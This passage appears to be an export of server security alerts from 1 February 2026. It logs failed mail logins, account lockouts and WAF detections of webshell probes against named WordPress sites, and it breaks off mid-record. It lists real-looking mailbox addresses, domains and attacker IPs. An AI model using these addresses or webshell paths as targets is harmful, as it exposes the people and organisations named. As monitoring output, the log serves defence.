description:
Feb  1 05:43:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account oichingching@pftfood.com has been locked for the attacker IP 141.98.11.11


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:43:03 dovecot_login authenticator failed for H=(IwNOAi) [178.16.54.22]:60202: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 50.235.31.47
country_id: 6252001
description:
Feb  1 05:43:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(50.235.31.47)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:43:07 dovecot_login authenticator failed for H=(SyaLXL6XVH) [158.94.208.215]:57490: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.206.192.74
country_id: 1327865
description:
2026-02-01 05:43:11 dovecot_plain authenticator failed for H=(WIN-BGU86CDI74S) [116.206.192.74]:59823: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:43:19 dovecot_login authenticator failed for H=(Nn8fvLuJb) [185.36.81.54]:55786: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.241.45
country_id: 2750405
description:
2026-02-01 05:43:41 dovecot_login authenticator failed for H=(localhost.localdomain) [91.92.241.45]:65218: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.180.6
country_id: 953987
description:
2026-02-01 05:43:42 dovecot_plain authenticator failed for H=(WIN-BGU86CDI74S) [102.207.180.6]:46875: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:43:13 dovecot_login authenticator failed for H=(fgsvZP9QNd) [178.16.52.139]:55026: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:43:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:43:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:43:19 dovecot_login authenticator failed for H=(DA3AGYAIN) [158.94.208.175]:56601: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.77.200.248
country_id: 174982
description:
2026-02-01 05:43:27 dovecot_plain authenticator failed for H=(WIN-BGU86CDI74S) [5.77.200.248]:45552: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.14.10.34
country_id: 3017382
description:
2026-02-01 05:44:33 dovecot_plain authenticator failed for H=laubervilliers-657-1-52-34.w80-14.abo.wanadoo.fr (carcies) [80.14.10.34]:35642: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.49.137.148
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/activity-details.php?id=655126 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:44:06 dovecot_login authenticator failed for H=(4jZkuuv2) [45.94.31.131]:53834: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:44:08 dovecot_login authenticator failed for H=(YgER00kVB) [178.16.52.139]:55840: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/cdn-cgi/l/career.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
country_id: 1835841
description:
2026-02-01 05:44:16 dovecot_login authenticator failed for H=([169.211.232.182]) [169.211.232.182]:49546: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:44:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:44:19 dovecot_login authenticator failed for H=(h1uEAoT6) [158.94.208.215]:64719: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:44:56 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:44:05 dovecot_login authenticator failed for H=(95oSarFE) [158.94.208.175]:65112: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:44:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:44:12 dovecot_login authenticator failed for H=(o5lGHmOLHu) [178.16.54.22]:57459: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:44:39 dovecot_login authenticator failed for H=(KQxsx5IAc) [141.98.11.11]:60834: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 141.98.11.11
country_id: 597427
description:
Feb  1 05:44:37 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account oichingching@pftfood.com has been locked for the attacker IP 141.98.11.11


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:44:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:44:33 dovecot_login authenticator failed for H=(d1v15a) [185.36.81.54]:51534: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:45:07 dovecot_login authenticator failed for H=(j70EaxtC) [45.94.31.131]:65242: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:45:23 dovecot_login authenticator failed for H=(oYfEqRG1oN) [185.36.81.54]:49818: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:45:54 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63300: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:45:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:45:07 dovecot_login authenticator failed for H=(ilqelGhG8) [158.94.208.215]:61850: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 141.98.11.11
country_id: 597427
description:
Feb  1 05:45:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account oichingching@pftfood.com has been locked for the attacker IP 141.98.11.11


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:45:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:45:14 dovecot_login authenticator failed for H=(dWIunLP) [141.98.11.11]:59560: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:45:14 dovecot_login authenticator failed for H=(XZgStH) [158.94.208.175]:50054: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:45:17 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:55676: 535 Incorrect authentication data (set_id=testing@aircarbonic.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:45:21 dovecot_login authenticator failed for H=(ZlkSY5) [178.16.54.22]:54979: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.129.206.14
country_id: 1269750
description:
2026-02-01 05:45:26 dovecot_login authenticator failed for H=([203.129.206.14]) [203.129.206.14]:49406: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 67.60.211.114
country_id: 6252001
description:
Feb  1 05:45:59 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(67.60.211.114)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:45:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 57.129.90.215
country_id: 2921044
description:
2026-02-01 05:45:19 dovecot_login authenticator failed for H=ns3241969.ip-57-129-90.eu [57.129.90.215]:54080: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.190.15.13
country_id: 2017370
description:
2026-02-01 05:45:38 dovecot_login authenticator failed for H=(13.15.190.94.interra.ru) [94.190.15.13]:50514: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:46:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:46:19 dovecot_login authenticator failed for H=(zL1CQo9a) [158.94.208.215]:54968: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.60.211.114
country_id: 6252001
description:
2026-02-01 05:46:01 dovecot_login authenticator failed for H=67-60-211-114.cpe.sparklight.net [67.60.211.114]:57174: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:46:08 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:53062: 535 Incorrect authentication data (set_id=test@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.176.126
country_id: 1269750
description:
2026-02-01 05:46:01 dovecot_login authenticator failed for H=([27.123.119.235]) [122.185.176.126]:44218: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:46:08 dovecot_login authenticator failed for H=(yTNZlfwIvn) [178.16.54.22]:50959: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:46:08 dovecot_login authenticator failed for H=(SQD2IWG5) [45.94.31.131]:49313: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.77.137.236
country_id: 1605651
description:
2026-02-01 05:46:24 dovecot_login authenticator failed for H=([110.77.137.236]) [110.77.137.236]:50000: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.130.47.48
country_id: 6252001
description:
2026-02-01 05:46:51 dovecot_login authenticator failed for H=(localhost.localdomain) [178.130.47.48]:59002: 535 Incorrect authentication data (set_id=2095prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:46:23 dovecot_login authenticator failed for H=(ZOkEeaewcL) [185.36.81.54]:52015: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:46:24 dovecot_login authenticator failed for H=(SvxICFxN) [158.94.208.175]:52013: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:47:17 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:60975: 535 Incorrect authentication data (set_id=test@mams1.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:47:24 dovecot_login authenticator failed for H=(jYKlJRR) [141.98.11.11]:54383: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:47:07 dovecot_login authenticator failed for H=(xRVhmESLtx) [158.94.208.215]:56100: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:47:10 dovecot_login authenticator failed for H=(hea9gKoFh) [158.94.208.175]:56877: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:47:33 dovecot_login authenticator failed for H=(gfe1SU7) [158.94.208.175]:56052: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:47:17 dovecot_login authenticator failed for H=(bsHJzZ) [178.16.54.22]:58743: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:48:25 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:58778: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.241.44
country_id: 2750405
description:
2026-02-01 05:48:51 dovecot_login authenticator failed for H=(localhost.localdomain) [91.92.241.44]:64390: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:48:21 dovecot_login authenticator failed for H=(gBVRGRo0r) [185.36.81.54]:49906: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:48:21 dovecot_login authenticator failed for H=(4DCJTxkgz) [158.94.208.175]:49884: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:48:22 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:62795: 535 Incorrect authentication data (set_id=test@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:48:03 dovecot_login authenticator failed for H=(acRfYAAwR) [178.16.54.22]:56342: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:48:19 dovecot_login authenticator failed for H=(YeCAJX) [158.94.208.215]:50185: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:48:40 dovecot_login authenticator failed for H=(n14A9iY) [141.98.11.11]:61214: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:49:12 dovecot_login authenticator failed for H=(8MLkIrMu) [178.16.54.22]:55799: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:49:07 dovecot_login authenticator failed for H=(zFQ1FMvElz) [158.94.208.175]:55674: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:49:09 dovecot_login authenticator failed for H=(kGRQzNiMSt) [185.36.81.54]:60759: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:49:11 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:50228: 535 Incorrect authentication data (set_id=testing@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:49:15 dovecot_login authenticator failed for H=(zbbgmX6sJl) [141.98.11.11]:57903: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 05:49:40 dovecot_login authenticator failed for H=(JaLQ8u) [158.94.208.110]:58025: 535 Incorrect authentication data (set_id=kee-hong.khoo@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:49:47 dovecot_login authenticator failed for H=(W9Dpc7pC5) [178.16.52.139]:64737: 535 Incorrect authentication data (set_id=info@maalloys.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:49:52 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:49:07 dovecot_login authenticator failed for H=(Rwo4FOtVWY) [158.94.208.215]:62336: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.130.47.48
country_id: 6252001
description:
2026-02-01 05:50:08 dovecot_login authenticator failed for H=(localhost.localdomain) [178.130.47.48]:63457: 535 Incorrect authentication data (set_id=2095intercessors@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:50:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:50:56 dovecot_login authenticator failed for H=(nN1gpneYJU) [178.16.52.139]:53285: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:50:19 dovecot_login authenticator failed for H=(i95t86Qkz) [158.94.208.215]:56185: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:50:11 dovecot_login authenticator failed for H=(gaOqA1) [141.98.11.11]:62879: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:50:17 dovecot_login authenticator failed for H=(alFq75Yl) [158.94.208.175]:65449: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 05:50:54 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.254.26
country_id: 1814991
description:
2026-02-01 05:50:26 dovecot_login authenticator failed for H=([116.113.254.26]) [116.113.254.26]:44904: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:50:42 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:50:21 dovecot_login authenticator failed for H=(hm9WfQ) [178.16.54.22]:60335: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:50:56 dovecot_login authenticator failed for H=(78tfIoaMN) [185.36.81.54]:49397: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 05:50:04 dovecot_login authenticator failed for H=(qww9nBLFmI) [158.94.208.110]:61943: 535 Incorrect authentication data (set_id=kee-hong.khoo@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:50:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:51:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:51:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:51:28 dovecot_login authenticator failed for H=(LvkxDckm2) [185.36.81.54]:57080: 535 Incorrect authentication data (set_id=juliza)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/company.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 05:51:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:51:14 dovecot_login authenticator failed for H=(5LBe436f) [178.16.52.139]:65115: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:51:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:51:07 dovecot_login authenticator failed for H=(4zDmEe7Rr) [178.16.54.22]:52942: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:51:07 dovecot_login authenticator failed for H=(OD32GpvN) [158.94.208.215]:54190: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:51:21 dovecot_login authenticator failed for H=(wjqCcUbPXe) [141.98.11.11]:52523: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:51:03 dovecot_login authenticator failed for H=(WWrF3N) [158.94.208.175]:55679: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:52:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:52:16 dovecot_login authenticator failed for H=(IVDGWwsz30) [178.16.54.22]:60416: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 05:52:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:52:41 dovecot_login authenticator failed for H=(poMiBO5j) [141.98.11.11]:60067: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:52:17 dovecot_login authenticator failed for H=(GqE6CATh3m) [158.94.208.215]:58991: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:52:24 dovecot_login authenticator failed for H=(djEAMKv3eo) [178.16.52.139]:62170: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-02-01 05:52:56 dovecot_login authenticator failed for H=(175-180-129-87.adsl.dynamic.seed.net.tw) [175.180.129.87]:46598: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:52:36 dovecot_login authenticator failed for H=(QnQTZ2zk) [185.36.81.54]:50770: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13006
